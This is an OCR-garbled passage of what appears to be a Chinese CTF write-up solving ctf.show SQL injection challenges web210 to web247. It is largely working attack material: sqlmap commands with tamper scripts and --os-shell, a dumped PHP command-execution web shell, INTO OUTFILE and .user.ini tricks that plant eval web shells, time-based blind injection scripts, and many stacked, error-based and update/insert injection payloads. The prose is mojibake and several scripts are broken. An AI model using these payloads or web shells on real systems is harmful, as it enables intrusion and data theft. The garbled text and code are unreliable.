doublequote not doublequote

elif payload[i]
retVal (0x9)

continue

elif payload[i] and not doublequote and not quote:
retVal (0x9)

continue

retVal payload[i]
payload_ret retVal
retVal base64.b64encode(baseb4.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode()

return retVal

HAE, AAEZRANET, B2Zweb210fpayloadii T

sqlmap -u http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://d89fa806-8595-4b7d-99fa-fbee6@b83efb.challenge.ctf.sho
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d89faB806-8595-4b7d-99fa-fbee60b83efb.chal
lenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dum
p

G RIIX =B AR §E F £/ 2 —>payload

web211 X REENIRIEAL Eidyg 728, REEZRFEERL T -D ctishow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web211

sqlmap -u http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.shq
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4bd80180-65e8-4d50-908f-04b91ab7e392.chal
lenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow web -T ctfshow flavia -C ctfshow_ flagxxa --d
ump

web212id 8%, Z BT, XA
web212

sqlmap -u http://1ae3935c-31f0-4a16-8d22-a32a81418707.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://1ae3935c-31f0-4al16-8d22-a3aa81418707.challenge.ctf.shq
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://1lae3935c-31f0-4a16-8d22-a3aa81418707.chal
lenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow web -T ctfshow flavis -C ctfshow flagxsa --d
ump

web213
78 H i %k X 1 Fl—os-shell —#getshell

JF 2 Rinto outfile B H0ks — AN AR BRI B RIS KRB R T . R — MRS HAT, —AR e




tEmysql®, H secure_file_priv Z2#ckizH| S AN FHR, ZSBUEEAnull, MRRARFFANIH: WRRE—ACMHR, MFRRNEE
ERANXHRFEANGH; MESHETAT, WHLBAEN, WRREMEMXH4REESANSH

Fweb210.pyikid s

test

sqlmap -u http://97a2ce63-2000-4020-838b-9ecccO76d657.challenge.ctf.show/api/index.php --data="id=1" --method=PU

T --headers="Content-Type: text/plain" --safe-url="http://97a2ce63-a000-4020-838b-9eccc@76d657.challenge.ctf.sho
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://97a2ce63-2000-4020-838b-9eccc@76d657.chal
lenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 --os-shell

THaHREE T AN

2547972627870659446841735a,0x7176627071) ,NULL— -

[ ] [WARNING] changes made by tampering scripts are not included in sho
[ ] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.21.1, PHP
back-end DBMS: MySQL = 5.8.12 (MariaDB fork)
] [INFO] going to use a web backdoor for command prompt
] [INFO] fingerprinting the back-end DBMS operating system
] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] AsP
[2] AsPX
[3] Jsp
£"i PHP (default) >SDN Mumuzi

FERBEARphpENL, BriliX B4 B, FHEAERINy

which web application language does the web server support?

[1] aspP

[2] ASPX

[3] Jsp

[4] PHP (default)

> &

do you want sqlmap to further try to provoke the full path disclosure? [Y/n]

[15:1 3] [WARNING] unable to automatically retrieve the web server document root

what du you want to use for writable directory?

[1] common location(s) ('/var/www/, /var/ww/html, /var/ww/htdocs, /usr/local/apache2/htdocs, /usr/local/wwm/data,
J/var/apache2/htdocs, lvarlnwwlnginx-defAult, /srv/wmi/htdocs, /fusr/local/var/wwm') (default)

[2] custom location(s)

[3] custom directory list file

[4#] brute force search . |
> 1 >SDN @ Mumuzi

H %51



= g . d ENBE . . W.ou OD = DI
[15:14:04] [INFO] calling 05 shell. To gquit type 'x' or 'q' and press ENTER
os-shell> 1s

do you want to retrieve the command standard output? [Y/n/a]

command standard output:

api
css
images

index.php

Js

layui
sqlmap.php
tmpbrsrz.php
tmpubzqy.php

os-shell> | _SDE Mumuzi

Z Fshell

SRR AT BUR B S T BAMtmp XA

os-shell> cat tmpbrsrz.php
do you want to retrieve the command standard output? [Y/n/a]
command standard output:

1 admin  admin__<?php $c=%_REQUEST["cmd"];@set_time_limit(@);@ignore_user_abort(1);@ini_set("max_execution_ti
me",0);$z=aini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, 1+/",',',$z);$z=explode(',’,$z);$z=array
_map("trim",$z);}else{$z=array(); }$c=$c." 2>61

":function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system”)){ob_start();system($c);$w=0b_ge
t_clean(); }elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while
('feof($t[1])){$w-=Ffread($t[1],512);}aproc_close($y);ltelseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru”
)){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen”)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!f
eof($x)){$w-=Ffread($x,512); }Hapclose($x); lelseif (f( "exec” ) {$w=array();exec($c, $w);$w=join(chr(10),%$w).chr(10);}else
{$w=0; }echo"<pre>$w CSDN Mumuzi

AR B A — AR AT

< C @ O & ctf.show

D CFIE DOCTF@zawsE © KAtHFE  Bugku CTF BUUCTF @ CTFHub  ctfshow (P ARR=F  CTF Wiki Thinkergod

1 admin admin__

sqlmap file uploader

RS | oA

to directory: |!var}wwwfhtmlf | | upload |

I L Y T
CSDN @z Mumuzi

53— MR HAT S B2
Bz E32 Jhcat /ctfshow_flagBlaf
web214

sqimapEI# 4R, FEELH, WETHRENEEE, MRSHARAIITT



HHiEG

/175

IR[ElZE

/ / REfelus

RXRARR
RIEMRIEAN R, RIE AT H 7T LA € 2 7E /apifindex.php, ERARIEE 47
TRFATIT T REAERITIFKbp, FEARBMITITRFT

RJEtnd EkFEme1.18.1 T #H Tjaval7, HAKHEEDbP2020 21T AJFEENG, TRETHR2021.98 7T, KR, HILREIQLE, I
FEHRR R A R BES LR

4, F5ET . BT bp2021.9K)

RIEBR RN ELRIIRAZNIEN 5, Bfeng i EFIwpUiiEN s Z/api/index phpIPOST R ki%ipfidebug. - -

&dkbug=0
POST afb fapi/ .
POST afblebb4-cOcb-4765... /fapi/ Jjquery-3:2.1.minjs:1...

CSDN @;2Mumuzi

e MM e = 00il5EE e 3 =50 load: 647 =¥



iBx e 2
Pretty +7#E W = HEns FiE +ruisl Render \n =
POST /api/ HITP/1.1 1 HTTP/1.1 200 0K

3 =

3 Upgrade-Insecure-Requests: 1

He

Host: fbcdTc9a-559c-4e8d-87ff-8a73242bdfab. challenge. ctf. show 2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64) 4

AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/97.0.4692.7
Safari/537. 36

Accept:

text/html, application/zhtml+xml, application/xml; q=0. 9, image/a

vif, image/webp, image/apng, */*; q=0. 8, application/signed-exchan 9

ge;v=h3;q=0.9

6 Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh; q=0. 9

8 Cookie: UM_distinctid=

10
11

17d66ba8h3568-0b0d91£37£80ae-978183a-144000-17d66baBh36390;
PHPSESSID=31ipa8uh2{0hsb41£286b3%ec0d

Comnection: close

Content-Type: application/z—www-form—urlencoded
Content-Length: 14

3 ip=123&debug=1

Bl RARERIN HEE, BI7T5BAREEN, BEX— T

lenth (flag)
, 32,128

while True:

flag (3)
print(flag)

break

payload

start_time = time.time()

r requests.post(url=url,data=payload).text

end_time = time.time()

sub end_time start_time
if(sub 0.5):

J
else:

Server: nginxz/1.21.1

3 Date: Mon, 10 Jan 2022 08:34:55 GMNT

Content-Type: text/html; charset=UTF-8
Comnection: close

¥-Powered-By: PHP/7. 3. 11

[ Content-Length: 42

select id from ctfshow_info where ip = 123

falad) = [ I
SSDN @z Murmuz




web215

HifER: AT RS

IRAS TR R AR M 2 BT 1 75 A8 AN [ BVE R G D — T 5
xtF EEAA, HEETE or , JE T hn#

wr

import time

import requests

lenth (flag)
s 32,128

while True:

flag (3)
print(flag)

break
payload = {
10}
start_time time.time()

r = requests.post(url=url,data=payload).text

end_time = time.time()

sub = end_time - start_time
if(sub 9.5):
J

else:

LREFANHIW 7L, BREERElimeout, XFEBEMXAN B EERT—4, SUEMT:



import requests

lenth (flag)
s 32,128

while True:

flag (3)
print(flag)

break

payload

requests.post(url=url,data=payload,timeout=0.29)
J
except:

web216

4 iX Nbase64 fi# il B A]

import requests

(flag)
32,128
while True:

flag @))
print(flag)
break

payload

requests.post(url=url,data=payload,timeout=0.29)
J

web217

R [E]32 45




waf($str
preg _match

L8 Tsleep, = EEmysql Kflsleepis. mysqWkIRE %, #MEHEE 245, BwpKIMHE T —benchmark
R

MySQLAE —/ N BKIBENCHMARK() BRI #t, A LARUIATE LR i BAE AT IR E . S50 LLR & BEHAT MR B RE . Rk
AR EREN, Wk EE R E K T E B R . 1288 0T DR T8 R Leh e B I P e

HamBYe, REFERXKHE

mysgl= select md5( ‘mumuzi® };

1 row in set (0.680 sec)
mysql> select benchmark(114514, md5( ‘mumuzi‘ ) J;

| benchmark(114514, md5( ‘mumuzi® )} ) |

) )

1 row in set (0.30 sec)

BAT—Rmd5 IR A AT K% T, (B R benchmarkiit 21217114514 1145140%kmd5+ & H i i et 1)
HETEENLE, HEREE O HNLERE, RREERSSHKCPURIE.
BRI AN FE RN BB, 0 AR 55 35 R i3 A ok

B oA T B BRI A K 2 B flag 4, X B LTI E Tsleep



lenth (flag)
s 32,128

while True:

flag (3)
print(flag)

break

payload {

try:
r requests.post(url=url,data=payload,timeout=0.5)
J
except:
J
time.sleep(0.3)
time.sleep(0.8)

ERBMHE X payloadRIERE T ORI EA L EE, ST T

web218
BB

iR B4

function waf($str){
return preg_match(

FRTA T 8T R~

BT —T, RUAEANEE, S5 L Ehitps://www.cnblogs.com/forforever/p/13019703.html
1.sleep

2.benchmark

3.HRRH

4.GET_LOCK() 4

5.RLIKE REGEXP 1E JUJ L


https://www.cnblogs.com/forforever/p/13019703.html

concat(rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999
999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,9
99999, 'a'),rpad(1,999999, 'a'), rpad(1,999999, 'a'), rpad(1,999999, 'a'), rpad(1,999999, 'a')) RLIKE '(a.*)+(a.*)+(a.*)
+(a.*)+(a.*)+(a.*)+(a.*)+b’

Z[FFsleep(5)

ERZERMN, RiFGEMfengiE@ENXEESE. o o o RIARE—

KW, ERET XA L, KT

import time

import requests

for i in (60):
lenth (flag)
9 32,128

while True:

flag (3)
print(flag)

break

payload
{sleep_rep}
10}

requests.post(url=url,data=payload,timeout=0.5)
J
except:
J
time.sleep(0.2)

web219

iR 62

function waf($str){
return preg_match(

X rlike . Hrlike

LFIE, JFAEHE RRER




import requests

(flag)
32,128

while True:

flag (3)
print(flag)

break

payload

data={
:payload,
10

r=requests.post(url=url,data=data,timeout=0.15)
]
except:
]
time.sleep(0.1)

web220

BRI EESER! KRBT ! !

iR 624

function waf($str){
return preg_match( ,$str);

] LAY B R3S 38 T asciiflisubstr, 2 B it 7 LA Hlike

RS RRR




import requests

for j in table:
payload

data={
:payload,
2@

r requests.post(url=url, data=data, timeout=0.15)
except:

flag Jj

print(flag)

break

time.sleep(0.2)

web221
R limitFE

HifER

$sql select from ctfshow_user limit ($page-1)*$limit,$limit;

HEEFEME

select * from tableName limit i,n

H tableName: ®#

1. ABEHERMRSME(BRIANOF L), Hi=0n AIHHEL
# n: ABEHEREEMEE

# 15nZ EEHEGES", "R

H
limit n [T limit O,n

X B A LUEPH#EISCE https://www.leavesongs.com/PENETRATION/sql-injections-in-mysgl-imit-clause.html

B

FELIMIT)S i T ABR AN B %, PROCEDURE #1 INTO, INTOR&RIEH B Ashell AR, &M ETERAHK, 4
PROCEDURE R #RERIEAIE? Let's give ita try:



https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

mysql> SELECT field FROM table where id > © ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY@OO): Can't use ORDER clause with this procedure

ANALYSE ] LA HAZ 5

mysql> SELECT field FROM table where id © ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY@@O): Can't use ORDER clause with this procedure

BRRHFARRL, 8=

mysql> SELECT field from table where id @ order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1
) 5, sleep(5),1)),1);

ERSLENRE T —AMERE R
ERROR 1108 (HY@@O): Incorrect parameters to procedure

sleep R H EBAWAT, HERLBIERKE T AT ABd 175 X

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3
a,version())),1);

ERROR 1105 (HY@@O): XPATH syntax error:

WMRASTRFRBEIEARE, AT AR T I [AEA -

SELECT field FROM table WHERE id © ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(

@x3a, (IF(MID(version(),1,1) 5, BENCHMARK (5000000,SHA1(1)),1))))),1)

HEMf Hsleep™ T, FHEMABENCHMARKME .
HhRE—TEHNSH
GET http://47e30f87-1f8b-4cca-a35f-b4d1aa4049d5.challenge.ctf.show/api/?id=1&page=1&limit=10

RIEERE LRSS R

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3
a,version())),1);

ERROR 1105 (HY@@O): XPATH syntax error: ':5.5.41-0@ubuntu@.14.04.1'

FXAMER], BIIEANS Tversion(), EAXBIFE TR

XEMIFR T, BT WEE XS payloadT, ik

= C O A show/apifindex.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,version()),1); 8% v

DarIe [JoTrFEsaxws IIFAtHF Bugku CTF BUUCTF L@ CTFHub cti.show @ HhREF CTF Wiki Thinkergod/AciAW... P pwnabletw # p

{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25XPATH syntax error: ©10.3.18-MariaDB"","count":"0","data":[]}

BBIRIE, Fmhitversion()#k fdatabase()

B2]: {“code™0,“msg""\u67e5\u8be2\u5931\u8d25XPATH syntax error: ‘:ctfshow_web_flag_x",“count”:“0",“data™:[]}



url/api/index.php?page=1&1imit=1 procedure analyse(extractvalue(rand(),concat(@x3a,database())),1);

B4R, BEARREMEEN, BT extractvalue, i&AEM updatexml

url/api/index.php?page=1&1limit=1 procedure analyse(updatexml(rand(),concat(®x3a,database()),1),1);

T LI fiflag i  ctfshow_web_flag x, A7 24 Ectfshow(}
web222

group ¥ EA

HHIEH

$sql select from ctfshow_user group by $username;

R [E2

% B B4 5 Ftgroup by $username T

HEET T, group byRIREETENA FRR

RIERI, EMEMAfoorIm k& M BLREIE AL, WUBERXWEXE
https://www.secpulse.com/archives/140616.html
https://www.cnblogs.com/xdans/p/5412468.html

BT, EERGHE, kK ERERIUsemame, AT, KERIE T2, MBRIUENRIEAR, Hafs—
{717 £HE214Mid.

AR BAIBNIEA): 1,if(1=1,sleep(0.1),1) EH KL, MteiEiH2.1sbl L

B LARESS R B AMRF AR, SREL— I T B


https://www.secpulse.com/archives/140616.html
https://www.cnblogs.com/xdans/p/5412468.html

128
while 1:
J
if K

flag (3)
print(flag)

break

payload

try:
r=requests.get(url=url+payload,timeout=0.4)
J
except:
J
time.sleep(0.2)

REIX B RIR T — T concat(database(),floor(rand(0)*30))

& C @ QA ctfshow, i Y @D @ . e = 4

DICTFIE (I CTFsenss @ Bhhts Bugku CTF BUUCTF @ CTFHub ctishow P HMAEF  CTF wiki Thinkergod/AoiAW... P pwnabletw # pwnablekr & PwnOverview-CTF.. > [D#fesz [

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"12","username":"userAUTO","pass":"password AUTO"},{"id":"8", "username™:"userAUTO","pass":"password AUTO"},
{"id":"19","username”:"userAUTO","pass":"passwordAUTO"},{"id
{"id":"21","username":"userAUTO","pass":"password AUTO"} {"id
{"id":"6","username":"userAUTO","pass":"passwordAUTO"},{"id"
{"id":"11","username":"userAUTO","pass":"passwordAUTO"},{"id
{"id":"18","username":"userAUTO","pass":"passwordAUTO"},{"id

"16","username":"userAUT( ","pass':"passwordAUTO"},{“id“:"14“,"username':"userAUT ",“pass":'passwordAUTO'},
"2" "username":"user1”, "pass™:"111"},{"id":"3","username":"user2","pass":"222"},
","username”:"userAUTO","pass":"passwordAUTO"},{"id":"10","username":"userAUTO", "pass":"password AUTO"},
"9","username”:"userAUTO","pass":"password AUTO"},{" 1°,"username”:"ctfshow","pass":"ctfshow"},

7", "username":"userAUTO","pass":"passwordAUTO"},{"id":"4", "username”:"userAUTO","pass":"password AUTO"}]}

Murmuzi

CSDN @

EEWHRART, BRARTUMM/REEYR. BHLEAR /R R E R

>

JERBRFATH, MAMT

il



import requests

import time

flag (3)
print(flag)

break

payload
r=requests.get(url=url+payload).text
if (r)<288:

]
else:

web223
BiHiEH)

groupiEA

$sql select from ctfshow_user group by $username;

iR 624

ERgroupEN, ERHAPZAEEREF. ZRi7EWeb1855d, LA Htrue+true+..... Hrue RAREHF

web224

—MRERB)E G BRI K& F T H

KRIAErobots.txt, B A/pwdreset.php, &—AHILEE AH

Wi, #E—y¥adminadmin, #A)5MHadminadmin® k. £—/AN3CHF LA R@E
W, Reecfbidk, T Htypes iR %< B xfile type error

fuz— TR, ELREMEEHRILE



R, Vip#EA payload.bin, & EEBMATUAER—NKRY, KREHXNKDZEfag

FILE LIST

« filename:3058feafdb65f8299861329e90b6c5e2.zip filetype:PC64 Emulator file *"

E T FXADbin, RIWEES T 4 -select 0x3c3f3d60245f4745545b315d603f3e into outfile ‘/variwww/html/1.php’
JE Sk IE Zinto outfile B shellidk 2= 15
R J51.php?1=cat MagHt L T

BH—ERE, RN 4iXEfilenamefzp? X BiE— Fupload.phpEE



<?php
error_reporting(9);
if ($_FILES[ 11 ] 9)
{
die( $_FILES[
)i
if($ _FILES[ 11 1>10*%1024){
die( ($_FILES[ 11 1/ 1024)
)i

if (file_exists( $ FILES]
{
echo $ FILES[
)i
else
{
$filename = md5(md5(rand(1,10000)))
$filetype (new finfo)->file($_FILES[
if(preg_match( ,$filetype)){
die( );
)i
$filepath $filename;
$sql $filename $filepath $filetype
move _uploaded file($ FILES[
$filename);
$con mysqli_ connect(
if (!$con)
{
die( mysqli_error());
)i
if (mysqli_multi_query($con, $sql)) {
header( );
} else {
echo $sql mysqli_error($con);

}

mysqli_close($con);

TIMT, BREANHE.

web225

HHIEH

{$username} ;




if(preg_match( ,$username)){

die(json_encode($ret));

XAGEMA KR ERETEERE, &

—HEF =M, 52 Handler. BistHEiE4H). renameflalter
SRJGIX it yE T alter, FT LA 58 Al 1 3
RIERIMNEERE R, FREREEapiffE

iX B Hhandler

HANDLER tbl name OPEN [ [AS] alias]

HANDLER tbl name READ index_name { = | < | < | >} (valuel,value2,...)
[ WHERE where_condition ] [LIMIT ...

HANDLER tbl name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ...

HANDLER tbl_name CLOSE

http://4f2e6389-ceba-4b51-935f-21a413ceef5b.challenge.ctf.show/api/?username=%27;show%20databases;#

RUMAEEE, [FHE T ctfshow_web

Pusername=";show tables;#

8 3 ctfshow_flagasa

Pusername=";show columns from ctfshow_flagasa;#

B %lflagas, HL FEHMEEEMATLLT

Pusername="j;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

PRRIFR-FEEYE . hitps://blog.csdn.net/rfrder/article/details/108583338
web226
HBEN

HHIEH

{$username}

R [E]2


https://blog.csdn.net/rfrder/article/details/108583338

if(preg_match( ,$username)

die(json_encode($ret));

XEIEUE T show, FBUALEIERE ERX BEbants T A£HES, Frbl 162t HIksed

';prepare a from 0x73656c656374202a206672616d2063746673685F61775f666c61676173;execute a;#

web227

HEBTENRTT R

HHIEH

{$username} ;

iR B4R

if(preg_match(

me) ){

die(json_encode($ret));

}

e, BwpET

information_schema.routines s & 77fi# i3 T2 A1 5 £

#LFE (Stored Procedure) R —FfESE F R R RFER, DMESMERAE 1R F IO — b e BE X B¢
FRENRERN T TR EIREMSQLIEALE, L% FCIEIFREELERES, MBS e N4 7% 2 S 507 R )RR i

g EEA R, BMEHEEE SQL ESEHKAMHEKSE.

SRR, FNEEHselect * from information_schema.routines

api/index.php?username=";PREPARE a from 0x73656c656374202a206672616d20696e6661726d617469616e51736368656d612e726f]

7574696e6573 ; EXECUTE a;

HE ELREE Bliflag, I B8 2iflagR S FlgetFlagH
At ) 5 ¥E B 2 scall getFlag;
web228. 229. 230

77117226



web228
Pusername=";PREPARE a from 0x73656c656374202a206672616d2063746673685f6f775f666c616761736161; EXECUTE a;

web229
Pusername=";PREPARE a from ©x73656c656374202a206672616d20666c6167; EXECUTE a;

web230
Pusername=";PREPARE a from ©x73656c656374202a206672616d20666c61676161626278;EXECUTE a;

web231
updatey¥ A\
HHIER]

/15 WEH

$sql = "update ctfshow user set pass = '{$password}' where username = '{$username}';";

B LAE X B A R EWIES), T2 Hupdatesk B H
N A Rapiffipasswordflusername, #ZEPOST
SR G 1HZEPOST—/ password=1",username=database()#&username=1

Rl — FRAEH A E, MKW, #ERT ctishow_web
&

password=1",username=(select group_concat(table_name) from information_schema.tables where table_schema=database
()) where 1=1#&username=1

4

password=1",username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')
where 1=1#&username=1

7 B

password=1",username=(select flagas from flaga) where 1=1#&username=1

web232

$sql {$password} {$username} 5

FE231 Btk b — T A& AT

# & password=1")

password=1"),username=(select flagass from flagaa) where 1=1#&username=1

web233
updateiE A\
EfIEH
$sql {$password} {$username} ;

RIF B, XM231EREX A, B X 5%



WIER231HIT—TF, SRITAE. EEUWRT —T, KIAFGZEESIE, WHEE B HREEE, BIMNERAARREERN
LS

RIEEREBERR—T 178, Filsleepl BT

import requests

import time

while 1:
J
if K
flag (3)
print(flag)

break

payload

: payload,
¥
try:
r=requests.post(url=url,data=data,timeout=0.35)
]
except:

time.sleep(0.3)

web234

update

$sql {$password} {$username} 5

EAM EHEER—H#R 4, TEREBERETR (HEEEMMERLRAT
W, JREATUE SR T RE S, W PR REHT RS
MEE T RFHL, password=\IB4 L HEHKEARER T

$sql {$username} 5

i, MBfwhere usernamest T #4458, wheretB E L T HAEH, XFEEH T LB usernamesk#4THEN




password=\&username=,username=(select group concat(table name) from information_schema.tables where table schema
=database())#
>banlist,ctfshow_user,flag23a

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table name
=0x666Cc6167323361)#
BN T e 5, prilieskklgiid. >id,flagass23s3,info

password=\&username=,username=(select flagass23s3 from flag23a)#

web235

HHIEH

{$password} {$username} ;

R [E2

BRI TR ATHBLRT

4, 4ksEA R
TEorf LA |, 338 T information_schema

https://iwww.jb51.net/article/134678.htm

innodb _table stats2FEMNISEHEE, innodb index stats2EZS|HNSIHEE, &FBESVINT:

innodb_table_stats

database name HIEES

table_name =4

last_update SiHEERS —XEHE
n_rows F=ATEL
clustered_index_size REZRS INIRREE

sum_of other_index_sizes HtbZ=S IImEHE -

SOM @2 Murnuzi

Fmysgl.innodb_table_stats3k4X % information_schema. table_schemaiiZ X .database _name. E&H] N2

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table stats where database name
=database())#

>banlist,ctfshow_user,flag23al



https://www.jb51.net/article/134678.htm

ETRMEABILINLENT, AENY, IHEMNEHANZ.

https:/mwww.cnblogs.com/GH-D/p/11962522.html

password=\&username=,username=(select group concat( 2" ) from (select 1,2,3 union select * from flag23al)a)#

web236
update

HHIEH

{$password} {$username}

R [E2

ARABAH16H RIS, ERAMEANGEASE. 4R LR payload X EITiE T

web237

inserty: A\

$sql {$username} {$password} ;

insertit A . HHEIFEAFRA—BHIBAE XA LN E CWEHEHER, THNSERRBIERNSIRLHT
RGIX BRI RE, REEfusernamel&— TREEHMEES

EREAHMEEE, MERFENT, BRAE

username=helloworld', (select group_concat(table_name) from information_schema.tables where table_schema=database
()))#&password=1

username=helloworld', (select group_concat(column_name) from information_schema.columns where table name='flag'))

; #&password=1

username=helloworld', (select group_concat(flagass23s3) from flag))#&password=1

web238
insertiE N, T

username=helloworld', (select(group_concat(table name))from(information_schema.tables)where(table schema=database
())));#&password=1

username=helloworld', (select(group _concat(column_name))from(information_schema.columns)where(table name='flagb")
)) ; #&password=1

username=helloworld', (select(group_concat(flag))from(flagb)));#&password=1

web239

ST EMFor, BENIEHE T or, Frllinformation_schemaft AT 7, HEXKhelloworldtB AT T g3, w] & [Kinfor



FRHZ AT Hmysqgl.innodb_table_stats & 4%

username=1", (select(group_concat(table name))from(mysql.innodb table stats)where(database name=database())))#&pa

ssword=1

1',(select(flag)from(flagbb)));#&password=1
web240

Hint: ® &394, flagHtsk, JEHLHabd Rk, Wflagabaab, /N5, T2 or sys mysql
B, HOBREE.

RIERAERT A R Eflag B, Frllflagsehfie TR. REEEEHA

import requests

import itertools

url

for i in itertools.product( , repeat 5):
tables .join(1i)
payload = {

1
J

r = requests.post(url=url, data=payload)

web241

delete

sqliE )

CIis
JS jquer
Js selectjs

] layui

;c-:nbj.data.id

1 lay/modules

api/delete.php™, ¥EN s postk idSE

RERNXBEHREZMMLE, WERLEE. HEEEREDboIEE. FIEEEZANBRNIEA, HARET . REERE
A RIIAE—FFKE, FLLERRE



while 1:
J
if K
flag (3)
print(flag)

break

payload

data={
:payload

1
J

try:
r=requests.post(url=url,data=data,timeout=0.38)
]
except:

time.sleep(0.2)

web242
file, X5

sqliEf)

{$filename}

BEmd, EEBEwpT .



. INTO OUTFILE 'file name'
[CHARACTER SET charset _name]
[export_options]

export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//4Faf%

[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']

]

[LINES
[STARTING BY 'string']
[TERMINATED BY ‘string']

“OPTION”ZHUHFIESHOEIN, HATREMHUER :

FIELDS TERMINATED BY 'FffH': WEFZFMHEAFRZIAMSRA, ATLLARANREANFRF. BRIMER\t”.

FIELDS ENCLOSED BY 'Fff': WEFFMREEFZENME, RENRANFER. BRIMER T AMEREMRFS .

FIELDS OPTIONALLY ENCLOSED BY 'FfF': WEFRFRFEMECHAR. VARCHARFITEXTEFZRFRF B, BOAEI FAMEAEMRTE .
FIELDS ESCAPED BY 'Fff': WEKENFH, REENANTFR. BIMEA\”.

LINES STARTING BY '=FffHh': WEBTHEFLNFR, WUABANHSADFRH. BRIMFR TAEREFR.

LINES TERMINATED BY 'ZFfF&': RESITHELEENFZR, WL ARANREZANERF. BRIMER\n”.

FIELDS TERMINATED BY. LINES STARTING BY. LINES TERMINATED BYE &

{fEapi/dump.phpfEPOST
filename=ma.php' LINES STARTING BY '<?php eval($ GET[1]);?>'#

SRJE Vi Hlurl/dump/ma. php

url/dump/ma.php?l=system('cat /flag.here');

web243
i€ T phpo
KRB EERESEERE, SREIE AR BELphpE ., REHXRSphtml, &REFHEN, BEETRTRERpPhtmIT

E Twp, FEREZFIMuser.ini

SR 5 [dump/TT T R & B index. php 3k 575t 2 45 B 3 B 5 VR F B &nginx. (B2 BN, B4 F R

filename=.user.ini' lines starting by ';' terminated by ©x0a6175746f5f70726570656e645f66696c653d312e6a70670a; #
AfRiEauto_prepend_file=1.jpgfEHh—A4T, BrBAEF L& EE M kT ox0ak#T

RE FL1 jpgstar T

filename=1.jpg"' LINES STARTING BY '<?=eval($_GET[1]);?>'#

SR JE Vi 1)




/dump/index.php?1l=system('cat /flag.here');

web244. 245
error IREETEN

sqliEf)

FIE updatexml()Flextractvalue ()R Z &R AT LA

2453t 38 T updatexml, Fif LLIX B 45— iflextractvalue

/api/?id=1"' or extractvalue(1,concat(®x7e, (select group concat(table name) from information schema.tables where
table schema=database()),0x7e))--+

/api/?id=1"' or extractvalue(l,concat(@x7e, (select group concat(column_name) from information_schema.columns wher
e table name='ctfshow flag'),0x7e))--+

=1"' or extractvalue(1,concat(®x7e,substr((select group concat(flag) from ctfshow flag),1,30),0x7e))+--+
=1"' or extractvalue(1,concat(@x7e,substr((select group concat(flag) from ctfshow flag),20,30),0x7e))+--H

web246

error

idJEupdatexml extractvalue

AR B b Z S IE A R L e ?

1.floor(). round(). ceil()

2.exp()

3.name_const

4. geometrycollection(), multipoint(), polygon(), multipolygon(), linestring(), multilinestring() JL{aeR%uiRk4sE

floorti, MM ERMELLHIRE, WHRHE, Eweb222B2HE T, HOHweb222



' union select 1,count(*),concat(@x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.table
b==5

/api/?id=1' union select 1,count(*),concat((select table name from information_schema.tables where table schema=

database() 1limit 1,1), ©x7e,floor(rand(@®)*2))b from information schema.tables group by b --+

/api/?id=1" union select 1,count(*),concat(@x7e,(select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))b from i

nformation_schema.tables group by b--+

web247

iT¥€updatexml extractvalue floor

& LEK, ANK, wmdkoundBl ], FEEERRFBRAAagER T lag?, REMFBRAEAILIARSG S5l&kR, XK
